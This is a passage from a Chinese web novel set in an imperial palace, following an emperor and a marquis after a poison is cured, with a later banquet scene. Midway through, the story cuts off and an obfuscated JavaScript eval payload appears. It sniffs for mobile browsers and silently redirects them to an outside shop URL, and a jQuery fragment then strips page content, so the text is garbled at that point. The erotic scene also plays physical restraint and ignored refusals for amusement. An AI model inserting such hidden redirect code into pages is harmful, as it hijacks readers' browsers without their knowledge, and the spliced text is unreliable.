赵鹤本占据主导地位,操控局面,不曾想被这人偷袭点了穴位,动弹不得。
傅长咎取过枕下那枚匕首,饶有兴致地打量了会儿,很无聊似的,随手往地上一丢。
安静空气有了金属碰撞的清脆鸣响。
他虚撑在陛下上方,慢声道:“蛊毒解了还这么委屈自己?”
赵鹤冷着脸:“你偷袭朕。”
傅长咎好笑:“谁偷袭谁?臣不过是多留了心眼罢了。”
赵鹤闭眼,冷淡又静的声音传来:“既然蛊毒已解,为何不下去?”
傅长咎诧异:“谁说臣蛊毒解了?”
赵鹤猛地睁眼,他被点了穴位,四肢僵着,仅漂亮的凤眼睁圆了些。
傅长咎凑近。
赵鹤长睫不自在地颤了下:“你想做什么。”
“自然是解蛊。”
傅长咎说得理所当然,“陛下召臣过来,便是默认可以做这种事,对不对?”
“陛下在清醒的状态下感觉一下。”
他好心道。
他从床头暗格拿出膏药,像之前一样挖了大坨,沾着花香的欲望在空气中燎开。
赵鹤无法接受清醒时做这种事:“等等,傅长咎。”
“嗯?”
那人慢条斯理,“陛下有事快说。”
赵鹤镇定告知:“朕蛊毒已解,不需做这种事。”
傅长咎面露诧异:“但是臣蛊毒未解。”
沾了膏药的手指触碰到冷玉肌肤。
凉意袭来,赵鹤不自觉抖了下,胳膊起了鸡皮疙瘩。之前缠绵的记忆袭来,身体很诚实地给出反应。
傅长咎看样子还要继续。
赵鹤瞳孔轻微放大,眸里的冰块被打碎了,晃了晃:“等等。”
“嗯?”
近处声音喑哑。
赵鹤脸烫了些,声音很低,像是从牙缝里挤出来的:“朕不需要。”
“是么?”
傅长咎笑道,“陛下需不需要,臣比陛下更清楚。”
赵鹤面色多了隐忍,妥协:“朕可以给你解药。”
“可是臣不愿吃药,想解蛊。”
赵鹤懵了:“为何?”
傅长咎慢悠悠说出两个字:“舒服。”
赵鹤没想到他能说出这两个字,傻眼了,一时不知如何接。虽说舒服,但没到命都不要的地步。
傅长咎另一只手滑入他发间。
赵鹤指尖起了颤栗,呼吸微乱,强撑着高傲姿态:“你可知欺君是死罪。”
傅长咎完全破罐子破摔了,慢慢道:“又不是第一次欺君,横竖要死,为何不尽兴些?”
赵鹤长吸一口气,镇定发话:“现在滚下去,朕可以给你解药,饶你不死。”
傅长咎单手撑着脑袋,另一只手沾着膏药的手搁空气中,欣赏陛下此刻的样子,吊儿郎当的:“无所谓了,什么死不死的。”
他看样子势必要进行下去。
“等等,傅长咎。”
赵鹤眼睫无措地眨了两下,快速道,“朕答应不动你,让你完好走出寝宫。”
“出尔反尔怎么办?”
“君无戏言。”
傅长咎还是觉得逗他有趣:“臣想解蛊。”
陛下终于认命般抿唇,长睫蝶翼般晃了下:“那你……那你轻些,别弄进去。”现在没那个必要,之前解蛊每次都弄很多。
傅长咎喉结动了动。
原本只是逗他,如今被这话撩了一身火气。
赵鹤半天没等到动静,不解地抬眼。
傅长咎心虚,视线很刻意地移到床头暗格,又拿过帕子,装模作样擦了下指尖的膏药。
动作间袖口晃了下,隐约露出手腕,腕间干净,哪有什么蛊纹?
赵鹤:“……”
这人蛊毒已解,刚才一直在戏耍他。
他恨不得将傅长咎踹下去,低骂:“还不滚下去?”
傅长咎知道他发现了,狡辩:“臣只是为了活着离开寝宫。陛下蛊毒也已解,不也是瞒着臣?”
赵鹤眼神变冷:“但是你先戏耍朕。”
傅长咎振振有词:“陛下枕下藏有暗器,臣不得多留个心眼?自保罢了。”
他仍不愿离开身下的人,恨不得维持这个姿势,稍微解了身下人穴位。
刚解开,就被人踹下去。
赵鹤扬声:“来人——”
傅长咎快速捂住他的嘴,“陛下也不想被人看到跟臣衣衫不整滚在一起吧?”
赵鹤推开他,沉着脸:“朕有什么怕的。”
傅长咎服软:“臣怕,臣爱惜名声,无法解释为何再三出现在寝宫。”
他主动哄着人,“这次是臣的错,但我们互相瞒着对方,陛下骗臣一次,臣也骗陛下一次,蛊毒之事两清了。
赵鹤看过去:“怎么能两清?前几次解蛊,明明朕吃亏更多。”
傅长咎讨价还价:“但受累的是臣,事后处理的也是臣,怎么能是陛下吃亏更多?臣也觉得自己吃亏了。”
赵鹤挑眉:“你是说被朕宠幸吃亏?”
“是荣幸,”傅长咎恭敬顺毛,“臣应该在床头刻字,时时常感念帝王恩宠。”
赵鹤偏头,撇嘴。
傅长咎慢慢松手:“臣之前得了套西域玉器,精美无瑕,一直想献于陛下,所以蛊毒之事——”
赵鹤看了眼他下面:“你还没解释为何没中蛊毒,那里还会有反应?”
“……”
赵鹤看着他。
傅长咎艰难开口:“臣这等粗人,自然不如皇上皎皎君子,时不时便会有这种……龌龊的变化。”
赵鹤直接道:“那你去阉了。”
傅长咎:“?”
赵鹤慢声道:“留你命可以,但朕必须阉了你。”
傅长咎:“陛下三思。”
这玩意有什么值得朕三思的?
是什么好东西吗?
赵鹤主意已定,冷声道:“自觉点,主动去内务府领阉。”他尚有一分善意,“有专门的器具,不会让你那么受罪。”
“……”
蛊毒已解,赵鹤重拾之前提防,继续派人监视傅长咎。
镇远侯精力旺盛,根本闲不下来,在练兵场待一天还有精力四处晃荡。
暗探被迫参与了镇远侯高能量的一天。
先是跟着他拜访了他的富商朋友,又看他参加酒宴,又跟着南市买话本,北市买糕点,东市买丝绸,西市买蜜饯。
赵鹤看着镇远侯献的玉器,揉了揉太阳穴。
这人都不带休息的?
他最近精力大不如前,不知为何,特别容易累,胃口也不好。钦天监的人最近神神叨叨,每晚在御花园观星,早朝后想跟陛下说什么,欲言又止。
赵鹤今日心情不错,想起此人,传他过来,问及最近的天相。
钦天监大概也是憋了很久,面露欣喜,一口气道:“回陛下,臣昨日夜观星象,紫薇垣有星入,紫气萦绕,此乃——”
紫微垣北极第一星乃太子星,如今有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966682|214352||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
紫色入守,明润色正,很明显的征兆:陛下要添皇子了。
但陛下后宫空无一人。
他怀疑自己看错了。
赵鹤:“此乃什么?”
钦天监实话实说:“此乃陛下有子嗣之象。”
赵鹤本就心情好,如今听到这玩笑话,眸里有了极淡的笑,稍纵即逝。他轻咳一声,配合:“哦?是么。”
钦天监听出陛下话中的调侃,自己也觉得是无稽之谈,补充:“或是宗庙社稷有庆。”
赵鹤:“好了,爱卿别大半夜总在御花园晃悠,没事把明年历书编制一下。”
钦天监道了“是”,低头退下。他越想越郁闷,按理说,确实应该是添了子嗣。
不知道哪里出错了。
赵鹤没将此人的话放在心上。
这一个月连轴转太久,容易累,批两时辰折子就腰酸。之前没什么口腹之欲,如今却总是饿,又什么都吃不下。
他忍着不适处理完公务,喉间无端泛起烦腻。
刚好花漾设宴邀陛下过去赏个脸。
赵鹤闷宫里太久,想着出去吹吹风也好。
花大人早早就在酒楼门口恭迎圣驾,大老远看到那顶云龙纹素辇。轿辇停落,一只手从轿帘内搭出,白净贵气,指节修长。
轿帘掀开,露出张矜冷惊艳的脸,只是肤色比以往更苍白了些。
花漾忙迎上去行礼。
落入眼里的先是月白靴面,再是一袭雪色长袍,赵鹤从轿里走出,墨发微挽,简单系了玉簪,周身气度非凡。
花漾深度颜控,被褪去龙袍的陛下惊艳得说不出话,笑得更发自内心了:“多谢陛下赏脸。”
他在前面带路,走到清静雅间,抬手撩开珠帘。
赵鹤进去,一眼便看到熟悉的人。
他怎么也在?
傅长咎也有些惊讶。
自从解了蛊毒,两人甚少私下会面,每次都是朝堂上瞥见,或者在宫道刻意错过,心有灵犀般忽略彼此。
他怎么感觉陛下更瘦了?
气色也更差了点。
“快尝尝这里的饭菜,听说是正宗淮扬菜系,口味特别好。”花漾热情道,“陛下跟侯爷不是两小无猜么?臣便自作主张,把镇远侯也叫了过来。”
“……”
以后别自作主张了。
花漾将这里吹得天花乱坠,若是这里的食物都不合胃口,更别说别的地方。
不多时,开始上菜。招牌红烧肉色泽诱人,肥瘦相间,蜜汁鸡翅卖相顶级,摆盘精致。
赵鹤这些天一直烦腻,嗅到甜味,胃没来由泛起恶心,忍着才没失态。
剁椒鱼头的辣味传来,才稍微好些。
他去夹鱼肉,刚好傅长咎也去夹。两支筷子不偏不倚抵在一起,谁也不肯先挪开,僵持着。
花漾专心剥虾,没察觉到那边的较劲,抬头一看,傅长咎正给陛下夹鱼肉,暗叹他们感情真好。
他期待的甜食还没上,有些着急,“八宝饭呢,我去看看还有多久?”说着起身,下楼去后厨瞧看。
房间就剩下他俩。
傅长咎刚要说话,陛下突然面色一变,快步去侧间窗边。
胃里又是熟悉的油腻感,赵鹤也不知为何,会变得这么不喜油腻。
他脸色发白,胃里一阵翻江倒海,忍着干呕,眼尾呛得发红,眼前阵阵发晕,听到身后的脚步声,也没力气管。
背上传来温热的触感。
有人给他轻轻顺着背,舒服了不少。